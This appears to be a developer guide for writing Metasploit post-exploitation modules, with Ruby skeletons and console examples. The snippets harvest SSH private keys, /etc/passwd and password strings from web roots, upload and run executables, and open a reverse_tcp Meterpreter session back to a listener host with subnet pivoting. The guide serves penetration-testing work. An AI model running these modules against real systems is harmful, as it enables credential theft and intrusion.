Post
Post modules run through an existing session. They require SESSION and enumerate, administer, or collect data on the target instead of delivering a new payload. References are packages/metasploit-framework/modules/post/ and the bundled wiki How-to-get-started-with-writing-a-post-module.md.
The shared process is in Common Steps. Session APIs are covered in Post Mixins.
When to use a post module
Section titled “When to use a post module”| Condition | Type |
|---|---|
| No session yet | exploit / auxiliary / handler |
| Run commands or access files or the registry through a session | post |
| Upgrade a shell to Meterpreter | post (for example, shell_to_meterpreter) |
| Return a new session through local privilege escalation | exploit (exploit/*/local/) |
Categories
Section titled “Categories”| Directory | Purpose |
|---|---|
gather/ | Configuration, credentials, enumeration |
gather/credentials/ | Credential-focused collection |
manage/ | Session management, configuration changes, injection |
recon/ | Reconnaissance (situational awareness rather than theft) |
capture/ | Continuous capture such as keylogging |
wlan/ | WLAN |
Modules to study
Section titled “Modules to study”| Reference module | What it teaches |
|---|---|
post/multi/general/execute | Minimal cmd_exec example |
post/linux/gather/enum_configs | read_file → store_loot for multiple files |
post/linux/gather/enum_system | How to collect Linux system information |
post/linux/gather/enum_network | Network information |
post/windows/gather/enum_logged_on_users | Windows mixins (Accounts / Registry / Profiles) |
post/windows/gather/checkvm | Short Windows gather example |
post/windows/gather/enum_applications | Software enumeration |
post/multi/manage/shell_to_meterpreter | Standard session management and upgrade |
post/multi/manage/autoroute | Add routes for pivoting |
post/windows/manage/migrate | Migrate a Meterpreter process |
post/windows/wlan/wlan_profile | Concrete loot example |
Sessions and SessionTypes
Section titled “Sessions and SessionTypes”'SessionTypes' => ['shell', 'meterpreter'],'Platform' => %w[linux osx unix win]Within the module, session (also called client) is the target.
print_status(session.inspect)print_status(session.platform)print_status(session.type)Skeletons by type
Section titled “Skeletons by type”Gather and manage modules have different structures depending on how they read data (read_file / cmd_exec / registry) and save results.
1. Command execution
Section titled “1. Command execution”1a. Run one command directly (post/multi/general/execute)
Section titled “1a. Run one command directly (post/multi/general/execute)”class MetasploitModule < Msf::Post def initialize(info = {}) super( update_info( info, 'Name' => 'Session Command Execution', 'License' => MSF_LICENSE, 'Author' => ['hdm'], 'Platform' => %w[linux osx unix win], 'SessionTypes' => ['shell', 'meterpreter'] ) ) register_options([OptString.new('COMMAND', [false, 'Command line'])]) end
def run print_status("Response:\n#{cmd_exec(datastore['COMMAND'])}") endend1b. Run with a failure-detection token (enum_network family)
Section titled “1b. Run with a failure-detection token (enum_network family)”This pattern avoids mistaking a failed command for an empty successful result.
def execute(cmd) token = Rex::Text.rand_text_alpha(8) output = cmd_exec("#{cmd} || echo #{token}") return nil if output.to_s.include?(token) outputend
def run out = execute('/sbin/ifconfig -a') store_loot('linux.enum.network', 'text/plain', session, out, nil, 'ifconfig') if outend1c. Separate arguments with create_process
Section titled “1c. Separate arguments with create_process”def run out = create_process('grep', args: ['-r', 'password', '/var/www'], time_out: 30) print_line(out.to_s)end1d. Branch by platform
Section titled “1d. Branch by platform”def run case session.platform when 'windows' print_status(cmd_exec('whoami /all')) else print_status(cmd_exec('id; uname -a')) endend2. File collection
Section titled “2. File collection”2a. Read a fixed list of paths with read_file (enum_configs)
Section titled “2a. Read a fixed list of paths with read_file (enum_configs)”include Msf::Post::File
def run [ '/etc/passwd', '/etc/hosts', '/etc/samba/smb.conf' ].each do |f| data = read_file(f).to_s next if data.strip.empty? || data =~ /No such file/ loot = store_loot('linux.enum.conf', 'text/plain', session, data, File.basename(f)) print_good("#{f} -> #{loot}") endend2b. Find candidates before reading (similar to the SSH key search in enum_network)
Section titled “2b. Find candidates before reading (similar to the SSH key search in enum_network)”def run dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh 2>/dev/null').to_s.split("\n") dirs.each do |dir| %w[id_rsa id_ed25519].each do |key| path = "#{dir}/#{key}" next unless exist?(path) && readable?(path) data = read_file(path) store_loot('ssh.key', 'text/plain', session, data, key, path) end endend2c. Write and place an executable (closer to manage)
Section titled “2c. Write and place an executable (closer to manage)”include Msf::Post::Fileinclude Msf::Exploit::FileDropper
def run remote = '/tmp/' + Rex::Text.rand_text_alpha(8) upload_and_chmodx(remote, File.binread(datastore['LOCAL_FILE'])) register_file_for_cleanup(remote) print_status(cmd_exec(remote))end3. Windows gathering
Section titled “3. Windows gathering”3a. Enumerate profiles (enum_logged_on_users family)
Section titled “3a. Enumerate profiles (enum_logged_on_users family)”include Msf::Post::Windows::Registryinclude Msf::Post::Windows::UserProfiles
def run read_profile_list(user_accounts_only: false).each do |profile| print_status("#{profile['SID']} #{profile['PROF']}") endend3b. Read registry values directly (checkvm family)
Section titled “3b. Read registry values directly (checkvm family)”include Msf::Post::Windows::Registryinclude Msf::Post::Process
def run services = registry_enumkeys('HKLM\\SYSTEM\\ControlSet001\\Services') || [] procs = get_processes || [] if services.any? { |s| s =~ /VBox|vmci|vmhgfs/i } || procs.any? { |p| p['name'] =~ /vmtoolsd/i } print_good('Looks like a VM') report_virtualization('VMware') # Or custom detection else print_status('Appears physical') endend3c. One registry value
Section titled “3c. One registry value”def run val = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') print_good("ProductName=#{val}") if val report_note(host: session.session_host, type: 'windows.product', data: { name: val }, update: :unique_data)end4. Manage / session operations
Section titled “4. Manage / session operations”4a. Shell → Meterpreter (usage pattern)
Section titled “4a. Shell → Meterpreter (usage pattern)”The existing post/multi/manage/shell_to_meterpreter is usually preferable to writing your own. If you do write one, the basic structure is to run a reverse payload from the existing SESSION and start a handler.
def run # Check LHOST/LPORT/HANDLER and run an upgrade command in the session # On success, the new Meterpreter appears in sessions -lend4b. autoroute (autoroute)
Section titled “4b. autoroute (autoroute)”def run # Add a route for the subnet through the session to the framework print_status("Adding route via session #{datastore['SESSION']}") # See the implementation of post/multi/manage/autorouteend4c. Lightweight recon of environment variables and hostname
Section titled “4c. Lightweight recon of environment variables and hostname”def run print_status("host=#{session.session_host} platform=#{session.platform}") print_status(cmd_exec('hostname')) print_status(get_env('PATH').to_s)end5. Ways to present output
Section titled “5. Ways to present output”5a. Print immediately
Section titled “5a. Print immediately”def run print_line(cmd_exec('ps aux'))end5b. Always save as loot
Section titled “5b. Always save as loot”def run data = cmd_exec('ps aux') store_loot('linux.ps', 'text/plain', session, data, 'ps.txt', 'process list')end5c. Arrange in a table before saving as loot
Section titled “5c. Arrange in a table before saving as loot”def run tbl = Rex::Text::Table.new('Header' => 'Users', 'Columns' => %w[name uid]) get_users.each { |u| tbl << [u['name'], u['uid']] } print_line(tbl.to_s) store_loot('linux.users', 'text/plain', session, tbl.to_s)endUsage examples
Section titled “Usage examples”Arbitrary command
Section titled “Arbitrary command”sessions -luse post/multi/general/executeset SESSION 1set COMMAND idrunFor a Windows session:
set COMMAND whoami /allrunCollect Linux configuration
Section titled “Collect Linux configuration”use post/linux/gather/enum_configsset SESSION 1runlootLinux system information
Section titled “Linux system information”use post/linux/gather/enum_systemset SESSION 1runWindows logged-on users
Section titled “Windows logged-on users”use post/windows/gather/enum_logged_on_usersset SESSION 1set CURRENT trueset RECENT truerunShell → Meterpreter
Section titled “Shell → Meterpreter”sessions -lsessions -u 1sessions -lTo specify options explicitly:
use post/multi/manage/shell_to_meterpreterset SESSION 1set LHOST 10.10.16.10set LPORT 5555set HANDLER truerunIf the OS is misidentified:
set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcpset PLATFORM_OVERRIDE linuxrunautoroute (pivot)
Section titled “autoroute (pivot)”use post/multi/manage/autorouteset SESSION 3set SUBNET 172.16.1.0set NETMASK 255.255.255.0runroute printLoad a custom post module
Section titled “Load a custom post module”reload_lib -ause post/linux/gather/my_passwdset SESSION 1runHow to assemble each type
Section titled “How to assemble each type”| Type | Include example | Entry point |
|---|---|---|
| General command | Post / Common | run + cmd_exec |
| File collection | File (+ Unix) + Report | read_file → store_loot |
| Windows information | Windows::* | Registry / Accounts, etc. |
| Session management | Existing manage module | shell_to_meterpreter, etc. |
Distinction from local privilege escalation
Section titled “Distinction from local privilege escalation”- Use post to collect information with the privileges of the current session.
- Use Exploit (
Msf::Exploit::Local) when you use the current session as a foothold to open a separate payload session.
Relationship to the common steps
Section titled “Relationship to the common steps”- Choose a Module Type and Location →
post/<platform>/<category>/... - Base Classes and Mixins
- update_info → specify
SessionTypesaccurately - register_options → do not register
SESSIONagain - Entry Methods → usually
run - Saving Results
- Cleanup
Implementation notes
Section titled “Implementation notes”- Avoid putting “collect everything” in a single module.
- Available APIs differ between
shellandmeterpreter. Railgun and similar APIs require Meterpreter. - Put destructive operations under
manageand explain their effects thoroughly. - Save collected data with
store_lootor according to the~/labpolicy.

